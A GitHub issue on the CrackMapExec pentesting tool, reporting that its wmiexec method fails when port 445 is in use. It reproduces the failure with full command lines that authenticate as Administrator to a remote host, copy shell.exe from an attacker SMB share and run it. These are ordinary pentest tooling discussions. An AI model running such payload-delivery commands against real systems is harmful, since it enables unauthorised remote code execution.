byt3bl33d3r / CrackMapExec

A swiss army knife for pentesting networks
BSD 2-Clause "Simplified" License
8.45k stars 1.64k forks source link

Execute code via wmiexec requires port 445 to be open #492

Closed 0xArt3mis closed 2 years ago

0xArt3mis commented 3 years ago

Describe the bug When executing code via wmiexec and crackmapexec, port 445 is required to be open. If a smb service is running on the system it is not possible to use wmiexec to execute code (Error: Error starting SMB server on port 445: the port is already in use). Even providing a custom port via the --smb-server-port option does not execute the code.

The code gets successfully executed using wmiexec.py from impacket.

To Reproduce Create a share on kali and start the smb service.

Then execute the following commands.

crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Not Working

crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" --smb-server-port 1337 -> Not working

python3 wmiexec.py ./Administrator:$PASSWORD@10.10.101.11 "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Working

Expected behavior Code should get executed.

Screenshots WMIExec01 CME_Error02 CME_error01

Crackmapexec info

mpgn commented 3 years ago

Done !